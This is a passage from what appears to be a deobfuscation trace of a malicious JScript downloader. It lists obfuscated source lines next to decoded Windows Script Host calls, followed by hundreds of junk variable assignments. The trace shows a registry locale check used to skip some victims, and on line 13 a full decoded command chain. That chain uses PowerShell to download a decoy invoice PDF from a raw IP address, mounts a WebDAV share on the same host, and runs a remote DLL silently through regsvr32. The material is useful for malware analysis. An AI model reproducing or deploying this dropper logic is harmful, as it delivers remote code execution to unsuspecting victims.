+ fjzogt + cevoox + jgyxftces + jsnhrwevn + ugpofebi + nvaaf + fjzogt + rtguql + jgyxftces + jsnhrwevn + pwmeinpo ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( ehndukqs = 0 ; ehndukqs < lmugquszz[jsnhrwevn + pwmeinpo + cevoox + zstie + fahbz + ypgbidrh] ; ++ ehndukqs )
4	{
5	if ( qoiootn == lmugquszz[ehndukqs] )
6	{
7	qoiootn = true;
8	break ;
9	}
10	}
11	if ( qoiootn !== true )
12	this[hxhbvxb + zwmznvth + rtguql + hmihgr + aziphbz + abxnz + fahbz][hkptox + tnifxhg + aziphbz + fahbz] ( );
13	this[hxhbvxb + zwmznvth + rtguql + hmihgr + aziphbz + abxnz + fahbz][vdvdtrl + hmihgr + pwmeinpo + jgyxftces + fahbz + pwmeinpo + evvjvk + izlheccrx + lgzweel + pwmeinpo + rtguql + fahbz] ( hxhbvxb + zwmznvth + rtguql + hmihgr + aziphbz + abxnz + fahbz + utmdhuxy + zwmznvth + ypgbidrh + pwmeinpo + jsnhrwevn + jsnhrwevn ) [hmihgr + tnifxhg + cevoox] ( rtguql + hmvqo + thfmfbfx + dymggbpbl + krccuk + rtguql + dymggbpbl + abxnz + fjzogt + tazubmhad + pwmeinpo + hmihgr + fepic + ypgbidrh + pwmeinpo + jsnhrwevn + jsnhrwevn + utmdhuxy + pwmeinpo + ilsxqqt + pwmeinpo + dymggbpbl + zujckhuma + vdvdtrl + fjzogt + hmvqo + hmvqo + jgyxftces + cevoox + thfmfbfx + dymggbpbl + otqxcosa + azxvfp + cevoox + dahtez + fjzogt + ighxzzna + pwmeinpo + zujckhuma + hxhbvxb + pwmeinpo + izlheccrx + sudxfvr + pwmeinpo + gsjoyoi + tnifxhg + pwmeinpo + fepic + fahbz + dymggbpbl + zujckhuma + evvjvk + tnifxhg + fahbz + ombihev + aziphbz + jsnhrwevn + pwmeinpo + dymggbpbl + szjfq + fahbz + pwmeinpo + hmvqo + abxnz + szjfq + ugpofebi + aziphbz + cevoox + dahtez + fjzogt + aziphbz + rtguql + pwmeinpo + utmdhuxy + abxnz + thfmfbfx + zhzyjyhen + dymggbpbl + ypgbidrh + fahbz + fahbz + abxnz + ycfcewtm + krccuk + krccuk + wxgtatdxu + fxfzfqh + qtiidp + utmdhuxy + wxgtatdxu + fcdbwsh + qtiidp + utmdhuxy + wxgtatdxu + utmdhuxy + iyzkhsq + yfilbqww + cximr + krccuk + aziphbz + cevoox + dahtez + fjzogt + aziphbz + rtguql + pwmeinpo + utmdhuxy + abxnz + ypgbidrh + abxnz + otqxcosa + jbnkx + jbnkx + fepic + fahbz + jgyxftces + hmihgr + fahbz + dymggbpbl + szjfq + fahbz + pwmeinpo + hmvqo + abxnz + szjfq + ugpofebi + aziphbz + cevoox + dahtez + fjzogt + aziphbz + rtguql + pwmeinpo + utmdhuxy + abxnz + thfmfbfx + zhzyjyhen + jbnkx + jbnkx + rtguql + hmvqo + thfmfbfx + dymggbpbl + krccuk + rtguql + dymggbpbl + cevoox + pwmeinpo + fahbz + dymggbpbl + tnifxhg + fepic + pwmeinpo + dymggbpbl + ugpofebi + ugpofebi + wxgtatdxu + fxfzfqh + qtiidp + utmdhuxy + wxgtatdxu + fcdbwsh + qtiidp + utmdhuxy + wxgtatdxu + utmdhuxy + iyzkhsq + yfilbqww + cximr + rcobsc + rbklot + rbklot + rbklot + rbklot + ugpofebi + thfmfbfx + jgyxftces + dahtez + tazubmhad + tazubmhad + tazubmhad + hmihgr + fjzogt + fjzogt + fahbz + ugpofebi + jbnkx + jbnkx + rtguql + hmvqo + thfmfbfx + dymggbpbl + krccuk + rtguql + dymggbpbl + hmihgr + pwmeinpo + zstie + fepic + dahtez + hmihgr + qtiidp + iyzkhsq + dymggbpbl + krccuk + fepic + dymggbpbl + ugpofebi + ugpofebi + wxgtatdxu + fxfzfqh + qtiidp + utmdhuxy + wxgtatdxu + fcdbwsh + qtiidp + utmdhuxy + wxgtatdxu + utmdhuxy + iyzkhsq + yfilbqww + cximr + rcobsc + rbklot + rbklot + rbklot + rbklot + ugpofebi + thfmfbfx + jgyxftces + dahtez + tazubmhad + tazubmhad + tazubmhad + hmihgr + fjzogt + fjzogt + fahbz + ugpofebi + iyzkhsq + yfilbqww + cximr + rbklot + fxfzfqh + iyzkhsq + rbklot + yfilbqww + iyzkhsq + qtiidp + wxgtatdxu + oqcfzls + cximr + yfilbqww + fxfzfqh + utmdhuxy + thfmfbfx + jsnhrwevn + jsnhrwevn, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\205892802317509.dll",0,false) ➔ 0
14	}
15	jbnkx = "U";
16	jbnkx = "D";
17	jbnkx = "R";
18	jbnkx = "K";
19	jbnkx = "a";
20	jbnkx = "q";
21	jbnkx = "a";
22	jbnkx = "M";
23	jbnkx = "G";
24	jbnkx = "N";
25	jbnkx = "O";
26	jbnkx = "i";
27	jbnkx = "T";
28	jbnkx = "R";
29	jbnkx = "P";
30	jbnkx = "&";
31	szjfq = "y";
32	szjfq = "v";
33	szjfq = "g";
34	szjfq = "F";
35	szjfq = "N";
36	szjfq = "g";
37	szjfq = "N";
38	szjfq = "u";
39	szjfq = "W";
40	szjfq = "G";
41	szjfq = "K";
42	szjfq = "c";
43	szjfq = "b";
44	szjfq = "i";
45	szjfq = "k";
46	szjfq = "g";
47	szjfq = "Y";
48	szjfq = "D";
49	szjfq = "Y";
50	szjfq = "H";
51	szjfq = "O";
52	szjfq = "X";
53	szjfq = "O";
54	szjfq = "j";
55	szjfq = "i";
56	szjfq = "n";
57	szjfq = "C";
58	szjfq = "i";
59	szjfq = "K";
60	szjfq = "h";
61	szjfq = "u";
62	szjfq = "x";
63	szjfq = "v";
64	szjfq = "S";
65	szjfq = "G";
66	szjfq = "O";
67	szjfq = "z";
68	szjfq = "m";
69	szjfq = "p";
70	szjfq = "G";
71	szjfq = "s";
72	szjfq = "%";
73	pdrpku = "O";
74	pdrpku = "A";
75	pdrpku = "e";
76	pdrpku = "V";
77	pdrpku = "f";
78	pdrpku = "z";
79	pdrpku = "y";
80	pdrpku = "a";
81	pdrpku = "y";
82	pdrpku = "l";
83	pdrpku = "O";
84	pdrpku = "d";
85	pdrpku = "D";
86	pdrpku = "N";
87	pdrpku = "U";
88	pdrpku = "B";
89	pdrpku = "x";
90	pdrpku = "n";
91	pdrpku = "B";
92	pdrpku = "C";
93	pdrpku = "X";
94	pdrpku = "S";
95	pdrpku = "J";
96	pdrpku = "M";
97	pdrpku = "V";
98	pdrpku = "a";
99	pdrpku = "X";
100	pdrpku = "z";
101	pdrpku = "j";
102	pdrpku = "O";
103	pdrpku = "r";
104	pdrpku = "h";
105	pdrpku = "V";
106	pdrpku = "C";
107	pdrpku = "L";
108	pdrpku = "U";
109	qtiidp = "X";
110	qtiidp = "X";
111	qtiidp = "Y";
112	qtiidp = "G";
113	qtiidp = "X";
114	qtiidp = "f";
115	qtiidp = "l";
116	qtiidp = "3";
117	vdvdtrl = "y";
118	vdvdtrl = "J";
119	vdvdtrl = "M";
120	vdvdtrl = "i";
121	vdvdtrl = "C";
122	vdvdtrl = "M";
123	vdvdtrl = "y";
124	vdvdtrl = "f";
125	vdvdtrl = "l";
126	vdvdtrl = "F";
127	vdvdtrl = "X";
128	vdvdtrl = "Y";
129	vdvdtrl = "k";
130	vdvdtrl = "v";
131	vdvdtrl = "P";
132	vdvdtrl = "g";
133	vdvdtrl = "V";
134	vdvdtrl = "r";
135	vdvdtrl = "e";
136	vdvdtrl = "a";
137	vdvdtrl = "R";
138	vdvdtrl = "v";
139	vdvdtrl = "m";
140	vdvdtrl = "x";
141	vdvdtrl = "X";
142	vdvdtrl = "d";
143	vdvdtrl = "C";
144	vdvdtrl = "n";
145	vdvdtrl = "L";
146	vdvdtrl = "y";
147	vdvdtrl = "E";
148	vdvdtrl = "G";
149	vdvdtrl = "L";
150	vdvdtrl = "F";
151	vdvdtrl = "D";
152	vdvdtrl = "K";
153	vdvdtrl = "k";
154	vdvdtrl = "j";
155	vdvdtrl = "d";
156	vdvdtrl = "C";
157	vdvdtrl = "G";
158	vdvdtrl = "F";
159	vdvdtrl = "p";
160	vdvdtrl = "C";
161	rcobsc = "g";
162	rcobsc = "i";
163	rcobsc = "R";
164	rcobsc = "N";
165	rcobsc = "M";
166	rcobsc = "Q";
167	rcobsc = "r";
168	rcobsc = "v";
169	rcobsc = "s";
170	rcobsc = "I";
171	rcobsc = "W";
172	rcobsc = "T";
173	rcobsc = "K";
174	rcobsc = "j";
175	rcobsc = "w";
176	rcobsc = "d";
177	rcobsc = "s";
178	rcobsc = "r";
179	rcobsc = "v";
180	rcobsc = "x";
181	rcobsc = "X";
182	rcobsc = "d";
183	rcobsc = "F";
184	rcobsc = "E";
185	rcobsc = "y";
186	rcobsc = "z";
187	rcobsc = "o";
188	rcobsc = "u";
189	rcobsc = "e";
190	rcobsc = "R";
191	rcobsc = "j";
192	rcobsc = "A";
193	rcobsc = "w";
194	rcobsc = "z";
195	rcobsc = "O";
196	rcobsc = "C";
197	rcobsc = "D";
198	rcobsc = "e";
199	rcobsc = "k";
200	rcobsc = "v";
201	rcobsc = "O";
202	rcobsc = "s";
203	rcobsc = "@";
204	hxhbvxb = "r";
205	hxhbvxb = "R";
206	hxhbvxb = "K";
207	hxhbvxb = "A";
208	hxhbvxb = "M";
209	hxhbvxb = "I";
210	hxhbvxb = "w";
211	hxhbvxb = "j";
212	hxhbvxb = "u";
213	hxhbvxb = "A";
214	hxhbvxb = "e";
215	hxhbvxb = "w";
216	hxhbvxb = "L";
217	hxhbvxb = "S";
218	hxhbvxb = "t";
219	hxhbvxb = "h";
220	hxhbvxb = "W";
221	thfmfbfx = "H";
222	thfmfbfx = "d";
223	aziphbz = "Q";
224	aziphbz = "A";
225	aziphbz = "e";
226	aziphbz = "s";
227	aziphbz = "H";
228	aziphbz = "y";
229	aziphbz = "J";
230	aziphbz = "o";
231	aziphbz = "C";
232	aziphbz = "a";
233	aziphbz = "x";
234	aziphbz = "z";
235	aziphbz = "v";
236	aziphbz = "a";
237	aziphbz = "h";
238	aziphbz = "n";
239	aziphbz = "r";
240	aziphbz = "k";
241	aziphbz = "R";
242	aziphbz = "K";
243	aziphbz = "v";
244	aziphbz = "u";
245	aziphbz = "h";
246	aziphbz = "Y";
247	aziphbz = "K";
248	aziphbz = "a";
249	aziphbz = "z";
250	aziphbz = "c";
251	aziphbz = "K";
252	aziphbz = "F";
253	aziphbz = "S";
254	aziphbz = "y";
255	aziphbz = "m";
256	aziphbz = "l";
257	aziphbz = "Y";
258	aziphbz = "F";
259	aziphbz = "K";
260	aziphbz = "i";
261	wxgtatdxu = "L";
262	wxgtatdxu = "X";
263	wxgtatdxu = "p";
264	wxgtatdxu = "Q";
265	wxgtatdxu = "Y";
266	wxgtatdxu = "X";
267	wxgtatdxu = "O";
268	wxgtatdxu = "p";
269	wxgtatdxu = "y";
270	wxgtatdxu = "T";
271	wxgtatdxu = "q";
272	wxgtatdxu = "C";
273	wxgtatdxu = "s";
274	wxgtatdxu = "Y";
275	wxgtatdxu = "U";
276	wxgtatdxu = "G";
277	wxgtatdxu = "c";
278	wxgtatdxu = "h";
279	wxgtatdxu = "m";
280	wxgtatdxu = "A";
281	wxgtatdxu = "v";
282	wxgtatdxu = "j";
283	wxgtatdxu = "x";
284	wxgtatdxu = "p";
285	wxgtatdxu = "I";
286	wxgtatdxu = "R";
287	wxgtatdxu = "y";
288	wxgtatdxu = "W";
289	wxgtatdxu = "t";
290	wxgtatdxu = "J";
291	wxgtatdxu = "i";
292	wxgtatdxu = "e";
293	wxgtatdxu = "h";
294	wxgtatdxu = "L";
295	wxgtatdxu = "L";
296	wxgtatdxu = "O";
297	wxgtatdxu = "K";
298	wxgtatdxu = "E";
299	wxgtatdxu = "Z";
300	wxgtatdxu = "q";
301	wxgtatdxu = "F";
302	wxgtatdxu = "1";
303	jsnhrwevn = "a";
304	jsnhrwevn = "X";
305	jsnhrwevn = "l";
306	lgzweel = "N";
307	lgzweel = "R";
308	lgzweel = "Y";
309	lgzweel = "m";
310	lgzweel = "z";
311	lgzweel = "l";
312	lgzweel = "k";
313	lgzweel = "G";
314	lgzweel = "j";
315	oqcfzls = "n";
316	oqcfzls = "q";
317	oqcfzls = "e";
318	oqcfzls = "E";
319	oqcfzls = "y";
320	oqcfzls = "f";
321	oqcfzls = "a";
322	oqcfzls = "d";
323	oqcfzls = "g";
324	oqcfzls = "e";
325	oqcfzls = "B";
326	oqcfzls = "y";
327	oqcfzls = "K";
328	oqcfzls = "h";
329	oqcfzls = "C";
330	oqcfzls = "L";
331	oqcfzls = "I";
332	oqcfzls = "A";
333	oqcfzls = "B";
334	oqcfzls = "T";
335	oqcfzls = "w";
336	oqcfzls = "M";
337	oqcfzls = "N";
338	oqcfzls = "X";
339	oqcfzls = "M";
340	oqcfzls = "W";
341	oqcfzls = "x";
342	oqcfzls = "d";
343	oqcfzls = "W";
344	oqcfzls = "x";
345	oqcfzls = "D";
346	oqcfzls = "7";
347	zwmznvth = "k";
348	zwmznvth = "c";
349	zwmznvth = "z";
350	zwmznvth = "s";
351	zwmznvth = "r";
352	zwmznvth = "S";
353	zwmznvth = "Q";
354	zwmznvth = "S";
355	zwmznvth = "z";
356	zwmznvth = "X";
357	zwmznvth = "j";
358	zwmznvth = "U";
359	zwmznvth = "a";
360	zwmznvth = "H";
361	zwmznvth = "v";
362	zwmznvth = "F";
363	zwmznvth = "K";
364	zwmznvth = "T";
365	zwmznvth = "q";
366	zwmznvth = "f";
367	zwmznvth = "u";
368	zwmznvth = "k";
369	zwmznvth = "I";
370	zwmznvth = "M";
371	zwmznvth = "W";
372	zwmznvth = "x";
373	zwmznvth = "y";
374	zwmznvth = "g";
375	zwmznvth = "L";
376	zwmznvth = "Y";
377	zwmznvth = "q";
378	zwmznvth = "h";
379	zwmznvth = "l";
380	zwmznvth = "D";
381	zwmznvth = "E";
382	zwmznvth = "m";
383	zwmznvth = "T";
384	zwmznvth = "T";
385	zwmznvth = "A";
386	zwmznvth = "S";
387	yfilbqww = "V";
388	yfilbqww = "e";
389	yfilbqww = "h";
390	yfilbqww = "o";
391	yfilbqww = "R";
392	yfilbqww = "D";
393	yfilbqww = "A";
394	yfilbqww = "t";
395	yfilbqww = "s";
396	yfilbqww = "Y";
397	yfilbqww = "K";
398	yfilbqww = "M";
399	yfilbqww = "l";
400	yfilbqww = "R";
401	yfilbqww = "A";
402	yfilbqww = "F";
403	yfilbqww = "y";
404	yfilbqww = "P";
405	yfilbqww = "p";
406	yfilbqww = "k";
407	yfilbqww = "F";
408	yfilbqww = "E";
409	yfilbqww = "P";
410	yfilbqww = "h";
411	yfilbqww = "r";
412	yfilbqww = "g";
413	yfilbqww = "Q";
414	yfilbqww = "u";
415	yfilbqww = "A";
416	yfilbqww = "0";
417	jgyxftces = "X";
418	jgyxftces = "p";
419	jgyxftces = "E";
420	jgyxftces = "H";
421	jgyxftces = "l";
422	jgyxftces = "R";
423	jgyxftces = "b";
424	jgyxftces = "u";
425	jgyxftces = "a";
426	jgyxftces = "k";
427	jgyxftces = "D";
428	jgyxftces = "Q";
429	jgyxftces = "Q";
430	jgyxftces = "X";
431	jgyxftces = "G";
432	jgyxftces = "W";
433	jgyxftces = "N";
434	jgyxftces = "m";
435	jgyxftces = "l";
436	jgyxftces = "i";
437	jgyxftces = "T";
438	jgyxftces = "n";
439	jgyxftces = "U";
440	jgyxftces = "E";
441	jgyxftces = "z";
442	jgyxftces = "r";
443	jgyxftces = "N";
444	jgyxftces = "s";
445	jgyxftces = "P";
446	jgyxftces = "m";
447	jgyxftces = "s";
448	jgyxftces = "o";
449	jgyxftces = "h";
450	jgyxftces = "e";
451	jgyxftces = "U";
452	jgyxftces = "O";
453	jgyxftces = "r";
454	jgyxftces = "r";
455	jgyxftces = "l";
456	jgyxftces = "X";
457	jgyxftces = "a";
458	hkptox = "X";
459	hkptox = "Y";
460	hkptox = "M";
461	hkptox = "v";
462	hkptox = "x";
463	hkptox = "Q";
464	hkptox = "S";
465	hkptox = "p";
466	hkptox = "i";
467	hkptox = "F";
468	hkptox = "I";
469	hkptox = "V";
470	hkptox = "g";
471	hkptox = "l";
472	hkptox = "R";
473	hkptox = "Q";
474	cihsryzaj = "r";
475	cihsryzaj = "D";
476	cihsryzaj = "G";
477	cihsryzaj = "R";
478	cihsryzaj = "i";
479	cihsryzaj = "z";
480	cihsryzaj = "g";
481	cihsryzaj = "K";
482	cihsryzaj = "r";
483	cihsryzaj = "X";
484	cihsryzaj = "a";
485	cihsryzaj = "x";
486	cihsryzaj = "A";
487	cihsryzaj = "i";
488	cihsryzaj = "s";
489	cihsryzaj = "x";
490	cihsryzaj = "n";
491	cihsryzaj = "d";
492	cihsryzaj = "P";
493	cihsryzaj = "o";
494	cihsryzaj = "K";
495	krccuk = "F";
496	krccuk = "L";
497	krccuk = "D";
498	krccuk = "H";
499	krccuk = "e";
500	krccuk = "q";
501	krccuk = "U";
502	krccuk = "z";
503	krccuk = "g";
504	krccuk = "J";
505	krccuk = "A";
506	krccuk = "Y";
507	krccuk = "G";
508	krccuk = "L";
509	krccuk = "B";
510	krccuk = "m";
511	krccuk = "C";
512	krccuk = "g";
513	krccuk = "Y";
514	krccuk = "J";
515	krccuk = "m";
516	krccuk = "/";
517	suvkvpfcr = "l";
518	suvkvpfcr = "a";
519	suvkvpfcr = "Y";
520	dahtez = "Y";
521	dahtez = "X";
522	dahtez = "V";
523	dahtez = "R";
524	dahtez = "t";
525	dahtez = "j";
526	dahtez = "W";
527	dahtez = "o";
528	dahtez = "z";
529	dahtez = "G";
530	dahtez = "f";
531	dahtez = "G";
532	dahtez = "v";
533	fahbz = "f";
534	fahbz = "T";
535	fahbz = "c";
536	fahbz = "F";
537	fahbz = "G";
538	fahbz = "b";
539	fahbz = "D";
540	fahbz = "P";
541	fahbz = "C";
542	fahbz = "l";
543	fahbz = "f";
544	fahbz = "j";
545	fahbz = "C";
546	fahbz = "R";
547	fahbz = "Z";
548	fahbz = "i";
549	fahbz = "t";
550	fahbz = "G";
551	fahbz = "W";
552	fahbz = "W";
553	fahbz = "t";
554	hmihgr = "u";
555	hmihgr = "I";
556	hmihgr = "q";
557	hmihgr = "b";
558	hmihgr = "s";
559	hmihgr = "v";
560	hmihgr = "U";
561	hmihgr = "N";
562	hmihgr = "c";
563	hmihgr = "K";
564	hmihgr = "x";
565	hmihgr = "G";
566	hmihgr = "R";
567	hmihgr = "Q";
568	hmihgr = "L";
569	hmihgr = "c";
570	hmihgr = "z";
571	hmihgr = "k";
572	hmihgr = "k";
573	hmihgr = "e";
574	hmihgr = "K";
575	hmihgr = "V";
576	hmihgr = "O";
577	hmihgr = "P";
578	hmihgr = "C";
579	hmihgr = "K";
580	hmihgr = "Y";
581	hmihgr = "u";
582	hmihgr = "D";
583	hmihgr = "m";
584	hmihgr = "n";
585	hmihgr = "E";
586	hmihgr = "b";
587	hmihgr = "i";
588	hmihgr = "T";
589	hmihgr = "F";
590	hmihgr = "r";
591	ombihev = "z";
592	ombihev = "r";
593	ombihev = "e";
594	ombihev = "m";
595	ombihev = "U";
596	ombihev = "w";
597	ombihev = "S";
598	ombihev = "u";
599	ombihev = "S";
600	ombihev = "V";
601	ombihev = "R";
602	ombihev = "k";
603	ombihev = "e";
604	ombihev = "V";
605	ombihev = "r";
606	ombihev = "K";
607	ombihev = "H";
608	ombihev = "D";
609	ombihev = "j";
610	ombihev = "d";
611	ombihev = "F";
612	ycfcewtm = "i";
613	ycfcewtm = "u";
614	ycfcewtm = "K";
615	ycfcewtm = "O";
616	ycfcewtm = "A";
617	ycfcewtm = "g";
618	ycfcewtm = "f";
619	ycfcewtm = "E";
620	ycfcewtm = ":";
621	dymggbpbl = "M";
622	dymggbpbl = "W";
623	dymggbpbl = "c";
624	dymggbpbl = "N";
625	dymggbpbl = "d";
626	dymggbpbl = "g";
627	dymggbpbl = "e";
628	dymggbpbl = "B";
629	dymggbpbl = "x";
630	dymggbpbl = "k";
631	dymggbpbl = "R";
632	dymggbpbl = "e";
633	dymggbpbl = "X";
634	dymggbpbl = "s";
635	dymggbpbl = "A";
636	dymggbpbl = "U";
637	dymggbpbl = "C";
638	dymggbpbl = "y";
639	dymggbpbl = "c";
640	dymggbpbl = "N";
641	dymggbpbl = "D";
642	dymggbpbl = "P";
643	dymggbpbl = "E";
644	dymggbpbl = "p";
645	dymggbpbl = "x";
646	dymggbpbl = "x";
647	dymggbpbl = "b";
648	dymggbpbl = "N";
649	dymggbpbl = "W";
650	dymggbpbl = "D";
651	dymggbpbl = "u";
652	dymggbpbl = "j";
653	dymggbpbl = "x";
654	dymggbpbl = "A";
655	dymggbpbl = "U";
656	dymggbpbl = "c";
657	dymggbpbl = "O";
658	dymggbpbl = "d";
659	dymggbpbl = "l";
660	dymggbpbl = "e";
661	dymggbpbl = "C";
662	dymggbpbl = "U";
663	dymggbpbl = "u";
664	dymggbpbl = " ";
665	fxfzfqh = "p";
666	fxfzfqh = "Z";
667	fxfzfqh = "S";
668	fxfzfqh = "D";
669	fxfzfqh = "f";
670	fxfzfqh = "a";
671	fxfzfqh = "H";
672	fxfzfqh = "k";
673	fxfzfqh = "F";
674	fxfzfqh = "o";
675	fxfzfqh = "k";
676	fxfzfqh = "b";
677	fxfzfqh = "C";
678	fxfzfqh = "B";
679	fxfzfqh = "q";
680	fxfzfqh = "c";
681	fxfzfqh = "C";
682	fxfzfqh = "F";
683	fxfzfqh = "I";
684	fxfzfqh = "m";
685	fxfzfqh = "9";
686	ugpofebi = "C";
687	ugpofebi = "N";
688	ugpofebi = "k";
689	ugpofebi = "V";
690	ugpofebi = "f";
691	ugpofebi = "w";
692	ugpofebi = "\\";
693	gsjoyoi = "j";
694	gsjoyoi = "G";
695	gsjoyoi = "S";
696	gsjoyoi = "x";
697	gsjoyoi = "r";
698	gsjoyoi = "m";
699	gsjoyoi = "j";
700	gsjoyoi = "q";
701	ordsj = "g";
702	ordsj = "g";
703	ordsj = "u";
704	ordsj = "u";
705	ordsj = "Y";
706	ordsj = "q";
707	ordsj = "k";
708	ordsj = "Q";
709	ordsj = "K";
710	ordsj = "O";
711	ordsj = "w";
712	ordsj = "R";
713	ordsj = "p";
714	ordsj = "I";
715	ordsj = "H";
716	ordsj = "a";
717	ordsj = "r";
718	ordsj = "e";
719	ordsj = "D";
720	ordsj = "q";
721	ordsj = "w";
722	ordsj = "l";
723	ordsj = "z";
724	ordsj = "x";
725	ordsj = "d";
726	ordsj = "C";
727	ordsj = "r";
728	ordsj = "z";
729	ordsj = "D";
730	ordsj = "T";
731	fjzogt = "K";
732	fjzogt = "k";
733	fjzogt = "F";
734	fjzogt = "Y";
735	fjzogt = "g";
736	fjzogt = "V";
737	fjzogt = "o";
738	fjzogt = "s";
739	fjzogt = "E";
740	fjzogt = "K";
741	fjzogt = "X";
742	fjzogt = "o";
743	fjzogt = "j";
744	fjzogt = "C";
745	fjzogt = "x";
746	fjzogt = "Y";
747	fjzogt = "F";
748	fjzogt = "r";
749	fjzogt = "a";
750	fjzogt = "Z";
751	fjzogt = "h";
752	fjzogt = "O";
753	fjzogt = "P";
754	fjzogt = "o";
755	iyzkhsq = "s";
756	iyzkhsq = "O";
757	iyzkhsq = "D";
758	iyzkhsq = "q";
759	iyzkhsq = "E";
760	iyzkhsq = "R";
761	iyzkhsq = "U";
762	iyzkhsq = "u";
763	iyzkhsq = "U";
764	iyzkhsq = "T";
765	iyzkhsq = "f";
766	iyzkhsq = "K";
767	iyzkhsq = "K";
768	iyzkhsq = "C";
769	iyzkhsq = "b";
770	iyzkhsq = "Y";
771	iyzkhsq = "v";
772	iyzkhsq = "B";
773	iyzkhsq = "i";
774	iyzkhsq = "M";
775	iyzkhsq = "p";
776	iyzkhsq = "s";
777	iyzkhsq = "U";
778	iyzkhsq = "G";
779	iyzkhsq = "l";
780	iyzkhsq = "n";
781	iyzkhsq = "2";
782	evvjvk = "S";
783	evvjvk = "L";
784	evvjvk = "a";
785	evvjvk = "u";
786	evvjvk = "V";
787	evvjvk = "X";
788	evvjvk = "t";
789	evvjvk = "t";
790	evvjvk = "u";
791	evvjvk = "F";
792	evvjvk = "w";
793	evvjvk = "D";
794	evvjvk = "o";
795	evvjvk = "C";
796	evvjvk = "D";
797	evvjvk = "b";
798	evvjvk = "l";
799	evvjvk = "S";
800	evvjvk = "q";
801	evvjvk = "W";
802	evvjvk = "W";
803	evvjvk = "L";
804	evvjvk = "V";
805	evvjvk = "N";
806	evvjvk = "V";
807	evvjvk = "X";
808	evvjvk = "J";
809	evvjvk = "i";
810	evvjvk = "N";
811	evvjvk = "T";
812	evvjvk = "R";
813	evvjvk = "O";
814	zstie = "n";
815	zstie = "M";
816	zstie = "R";
817	zstie = "Z";
818	zstie = "p";
819	zstie = "R";
820	zstie = "U";
821	zstie = "n";
822	zstie = "Y";
823	zstie = "Q";
824	zstie = "q";
825	zstie = "q";
826	zstie = "l";
827	zstie = "v";
828	zstie = "v";
829	zstie = "p";
830	zstie = "K";
831	zstie = "y";
832	zstie = "z";
833	zstie = "v";
834	zstie = "w";
835	zstie = "k";
836	zstie = "n";
837	zstie = "t";
838	zstie = "j";
839	zstie = "y";
840	zstie = "w";
841	zstie = "w";
842	zstie = "y";
843	zstie = "h";
844	zstie = "w";
845	zstie = "P";
846	zstie = "E";
847	zstie = "v";
848	zstie = "w";
849	zstie = "W";
850	zstie = "w";
851	zstie = "M";
852	zstie = "D";
853	zstie = "g";
854	uogrbqcu = "q";
855	uogrbqcu = "c";
856	uogrbqcu = "p";
857	uogrbqcu = "W";
858	uogrbqcu = "w";
859	uogrbqcu = "l";
860	uogrbqcu = "S";
861	uogrbqcu = "E";
862	uogrbqcu = "Q";
863	uogrbqcu = "j";
864	uogrbqcu = "z";
865	uogrbqcu = "j";
866	uogrbqcu = "M";
867	uogrbqcu = "g";
868	uogrbqcu = "s";
869	uogrbqcu = "m";
870	uogrbqcu = "u";
871	uogrbqcu = "E";
872	uogrbqcu = "y";
873	uogrbqcu = "d";
874	uogrbqcu = "t";
875	uogrbqcu = "B";
876	uogrbqcu = "G";
877	uogrbqcu = "O";
878	uogrbqcu = "P";
879	uogrbqcu = "u";
880	uogrbqcu = "x";
881	uogrbqcu = "A";
882	uogrbqcu = "K";
883	uogrbqcu = "J";
884	uogrbqcu = "x";
885	uogrbqcu = "F";
886	uogrbqcu = "H";
887	uogrbqcu = "_";
888	cximr = "V";
889	cximr = "E";
890	cximr = "D";
891	cximr = "F";
892	cximr = "f";
893	cximr = "r";
894	cximr = "G";
895	cximr = "l";
896	cximr = "H";
897	cximr = "d";
898	cximr = "Q";
899	cximr = "h";
900	cximr = "W";
901	cximr = "V";
902	cximr = "B";
903	cximr = "P";
904	cximr = "D";
905	cximr = "w";
906	cximr = "E";
907	cximr = "E";
908	cximr = "h";
909	cximr = "5";
910	ypgbidrh = "V";
911	ypgbidrh = "q";
912	ypgbidrh = "U";
913	ypgbidrh = "z";
914	ypgbidrh = "v";
915	ypgbidrh = "v";
916	ypgbidrh = "r";
917	ypgbidrh = "u";
918	ypgbidrh = "m";
919	ypgbidrh = "b";
920	ypgbidrh = "X";
921	ypgbidrh = "Z";
922	ypgbidrh = "T";
923	ypgbidrh = "K";
924	ypgbidrh = "N";
925	ypgbidrh = "z";
926	ypgbidrh = "b";
927	ypgbidrh = "h";
928	slavwq = "H";
929	sudxfvr = "K";
930	sudxfvr = "m";
931	sudxfvr = "l";
932	sudxfvr = "N";
933	sudxfvr = "k";
934	sudxfvr = "N";
935	sudxfvr = "e";
936	sudxfvr = "Q";
937	sudxfvr = "I";
938	sudxfvr = "J";
939	sudxfvr = "M";
940	sudxfvr = "u";
941	sudxfvr = "s";
942	sudxfvr = "h";
943	sudxfvr = "I";
944	sudxfvr = "X";
945	sudxfvr = "O";
946	sudxfvr = "I";
947	sudxfvr = "u";
948	sudxfvr = "I";
949	sudxfvr = "H";
950	sudxfvr = "r";
951	sudxfvr = "x";
952	sudxfvr = "L";
953	sudxfvr = "v";
954	sudxfvr = "F";
955	sudxfvr = "z";
956	sudxfvr = "o";
957	sudxfvr = "J";
958	sudxfvr = "j";
959	sudxfvr = "n";
960	sudxfvr = "R";
961	rtguql = "J";
962	rtguql = "b";
963	rtguql = "B";
964	rtguql = "d";
965	rtguql = "x";
966	rtguql = "h";
967	rtguql = "F";
968	rtguql = "N";
969	rtguql = "K";
970	rtguql = "v";
971	rtguql = "m";
972	rtguql = "B";
973	rtguql = "X";
974	rtguql = "n";
975	rtguql = "T";
976	rtguql = "D";
977	rtguql = "Q";
978	rtguql = "G";
979	rtguql = "X";
980	rtguql = "I";
981	rtguql = "q";
982	rtguql = "y";
983	rtguql = "S";
984	rtguql = "A";
985	rtguql = "s";
986	rtguql = "Z";
987	rtguql = "K";
988	rtguql = "c";
989	azxvfp = "h";
990	azxvfp = "h";
991	azxvfp = "i";
992	azxvfp = "A";
993	azxvfp = "I";
994	azxvfp = "e";
995	azxvfp = "f";
996	azxvfp = "q";
997	azxvfp = "w";
998	azxvfp = "L";
999	azxvfp = "s";
1000	azxvfp = "a";
1001	azxvfp = "x";
1002	azxvfp = "W";
1003	azxvfp = "E";
1004	azxvfp = "K";
1005	azxvfp = "n";
1006	azxvfp = "g";
